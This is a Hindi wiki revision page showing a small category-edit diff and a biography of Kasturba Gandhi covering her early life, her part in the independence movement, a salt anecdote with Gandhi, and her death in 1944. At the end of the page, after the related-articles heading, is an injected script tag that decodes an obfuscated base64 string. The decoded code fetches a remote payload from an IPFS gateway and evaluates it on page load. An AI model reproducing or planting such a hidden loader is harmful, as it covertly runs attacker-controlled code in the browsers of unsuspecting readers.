कस्तूरबा गाँधी: Difference between revisions
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - " चाय" to " चाय") |
व्यवस्थापन (talk | contribs) m (Text replace - "Category:प्रसिद्ध_व्यक्तित्व_कोश" to "Category:प्रसिद्ध व्यक्तित्व कोशCategory:चरित कोश") |
||
Line 71: | Line 71: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{स्वतन्त्रता सेनानी}} | {{स्वतन्त्रता सेनानी}} | ||
[[Category:प्रसिद्ध_व्यक्तित्व]][[Category: | [[Category:प्रसिद्ध_व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:स्वतन्त्रता_सेनानी]] __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
Revision as of 14:18, 2 June 2011
कस्तूरबा गाँधी
| |
पूरा नाम | कस्तूरबा गाँधी |
अन्य नाम | 'बा' |
जन्म | 11 अप्रैल सन 1869 |
जन्म भूमि | काठियावाड़, पोरबंदर, भारत |
मृत्यु | 22 फ़रवरी सन 1944 |
मृत्यु स्थान | आगा ख़ाँ महल, पूना, भारत |
पति/पत्नी | महात्मा गाँधी |
संतान | हरिलाल, मणिलाल, रामदास, देवदास |
धर्म | हिन्दू |
आंदोलन | भारतीय स्वतंत्रता संग्राम |
संबंधित लेख | महात्मा गाँधी, महादेव देसाई |
भारत के गौरवशाली इतिहास में बलिदान की इतनी गाथाएँ हैं कि सितारों की गिनती तक कम पड़ जाती है। अगर हम अपने इतिहास की विवेचना करने बैठें तो महिलाओं के बढ़-चढ़ कर योगदान देखने को मिलेंगे, फिर चाहे वो संस्कृति हो, परंपरा, राजनीति, अर्थव्यवस्था, युद्ध, शांति या कुछ और कोई भी विद्या नारी स्पर्श से अछूती नहीं रही है। अगर हम अपने स्वतंत्रता संग्राम की ही बात करें तो अनगिनत महिलाओं का नाम प्रतिबिंबित होता है जो बहुत सक्रिय रहीं सबसे पहली महिला जिनका नाम ही स्वतंत्रता का पर्याय बन गया है वो हैं 'श्रीमती कस्तूरबा गाँधी'। कस्तूरबा गाँधी महात्मा गाँधी की पत्नी थी। वह भारत में 'बा' के नाम से विख्यात है।
जीवनी
कस्तूरबा गाँधी का जन्म 11 अप्रैल सन 1869 ई. में महात्मा गाँधी की तरह काठियावाड़ के पोरबंदर नगर में हुआ था। इस प्रकार कस्तूरबा गाँधी आयु में गाँधी जी से 6 मास बड़ी थीं। कस्तूरबा गाँधी के पिता 'गोकुलदास मकनजी' साधारण स्थिति के व्यापारी थे। गोकुलदास मकनजी की कस्तूरबा तीसरी संतान थीं। उस जमाने में कोई लड़कियों को पढ़ाता तो था नहीं, विवाह भी अल्पवय में ही कर दिया जाता था। इसलिए कस्तूरबा भी बचपन में निरक्षर थीं और सात साल की अवस्था में 6 साल के मोहनदास के साथ उनकी सगाई कर दी गई। तेरह साल की आयु में उन दोनों का विवाह हो गया। बापू ने उन पर आरंभ से ही अंकुश रखने का प्रयास किया और चाहा कि कस्तूरबा बिना उनसे अनुमति लिए कहीं न जाएं, किंतु वे उन्हें जितना दबाते उतना ही वे आज़ादी लेती और जहाँ चाहतीं चली जातीं।
स्वतंत्रता कुमुक की प्रतिभागी
कस्तूरबा गाँधी, महात्मा गाँधी के स्वतंत्रता कुमुक की पहली महिला प्रतिभागी थीं। कस्तूरबा गाँधी का अपना एक दृष्टिकोण था, उन्हें आज़ादी का मोल और महिलाओं में शिक्षा की महत्ता का पूरा भान था। स्वतंत्र भारत के उज्जवल भविष्य की कल्पना उन्होंने ने भी की थी। उन्होंने हर क़दम पर अपने पति मोहनदास करमचंद गाँधी जी का साथ निभाया था। 'बा' जैसा आत्मबलिदान का प्रतीक व्यक्तित्व उनके साथ नहीं होता तो गाँधी जी के सारे अहिंसक प्रयास इतने कारगर नहीं होते। कस्तूरबा ने अपने नेतृत्व के गुणों का परिचय भी दिया था। जब-जब गाँधी जी जेल गए थे, वो स्वाधीनता संग्राम के सभी अहिंसक प्रयासों में अग्रणी बनी रहीं।
कस्तूरबा के लिए प्रेरणा बने बापू
[[चित्र:Mahatma-Gandhi-And-Kasturba-Gandhi.jpg|thumb|250px|महात्मा गाँधी और कस्तूरबा गाँधी की प्रतिमा, बिरला हाउस, दिल्ली
Mahatma Gandhi And Kasturba Gandhi Statue, Birla House, Delhi]]
गाँधी जी जो कहते थे, उसे स्वयं भी करते थे, यह अटूट सत्य था। उनसे जुड़े अनेक प्रेरक प्रसंग हैं, लेकिन यहाँ ऐसे प्रसंग का वर्णन किया जा रहा है जो अत्यधिक ही प्रेरक हैं।
कस्तूरबा गाँधी बीमार रहती थीं। एक दिन गाँधीजी ने उन्हें सलाह दी कि तुम नमक खाना छोड़ दो, तो अच्छी हो जाओगी।
कस्तूरबा जी ने कहा- नमक के बिना भोजन कैसे किया जाएगा।
गाँधी जी बोले- नमक छोड़कर देखो तो सही।
कस्तूरबा जी ने प्रतिवाद करते हुए कहा - पहले आप ही छोड़कर देखिए न?
गाँधी जी ने संकल्प करते हुए कहा- बस अभी से छोड़ दिया।
उसी दिन से गाँधी जी ने नमक का प्रयोग करना छोड़ दिया। गाँधी जी अपनी बात के स्वयं प्रेरक बन गए। वैसे भी मनुष्यों को जितनी भी बीमारियाँ हैं उसमें उसके द्वारा खान-पान का दोष ही अधिक है। जैसे कोई-कोई नमक का अधिक प्रयोग करता है। डॉक्टर तो सलाह देते हैं कि इसकी अलग से खाने की आवश्यकता ही नहीं, क्योंकि हमारी आवश्यकताओं का नमक फल और सब्जियों से ही मिल जाता है। कोई चीनी या मीठी चीजों का प्रयोग अधिक करता है तो उसे शुगर जैसी भयंकर बीमारियाँ घेर लेती है। इसी तरह हम चाय और नशीले पदार्थों का प्रयोग करते हैं तो अनेक बीमारियों को अपने पास बुला लेते हैं। यदि हमें बीमारियों से बचना है तो हमें संतुलित भोजन करना चाहिए और प्रकृति का सान्निध्य पाकर नित्य ही कुछ व्यायाम आदि अवश्य करना चाहिए।
मृत्यु
9 अगस्त सन 1942 ई. को बापू के गिरफ़्तार हो जाने पर कस्तूरबा गाँधी ने, शिवाजी पार्क, मुंबई में, जहाँ स्वयं बापू भाषण देने वाले थे, सभा में भाषण करने का निश्चय किया। किंतु पार्क के द्वार पर पहुँचने पर कस्तूरबा गाँधी गिरफ़्तार कर ली गई। कस्तूरबा गाँधी को दो दिन बाद पूना के आगा खाँ महल में भेज दिया गया। बापू गिरफ़्तार करके पहले ही वहाँ भेजे जा चुके थे। उस समय कस्तूरबा गाँधी अस्वस्थ थीं। 15 अगस्त को जब यकायक महादेव देसाई ने महाप्रयाण किया तो कस्तूरबा गाँधी बार बार यही कहती रहीं महादेव क्यों गया, मैं क्यों नहीं। बाद में महादेव देसाई का चितास्थान कस्तूरबा गाँधी के लिए शंकर-महादेव का मंदिर सा बन गया। कस्तूरबा गाँधी प्रतिदिन वहाँ जाती थीं और समाधि की प्रदक्षिणा कर उसे नमस्कार करतीं। कस्तूरबा गाँधी उस पर दीप भी जलवातीं थीं।
कस्तूरबा गाँधी का गिरफ़्तारी की रात को जो स्वास्थ्य बिगड़ा वह फिर संतोषजनक रूप से सुधरा नहीं और कस्तूरबा गाँधी ने 22 फ़रवरी सन 1944 को अपना प्राण त्याग दिए। उनकी मृत्यु के उपरांत राष्ट्र ने महिला कल्याण के निमित्त एक करोड़ रुपया एकत्र कर इन्दौर में 'कस्तूरबा गाँधी राष्ट्रीय स्मारक ट्रस्ट' की स्थापना की।
|
|
|
|
|
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>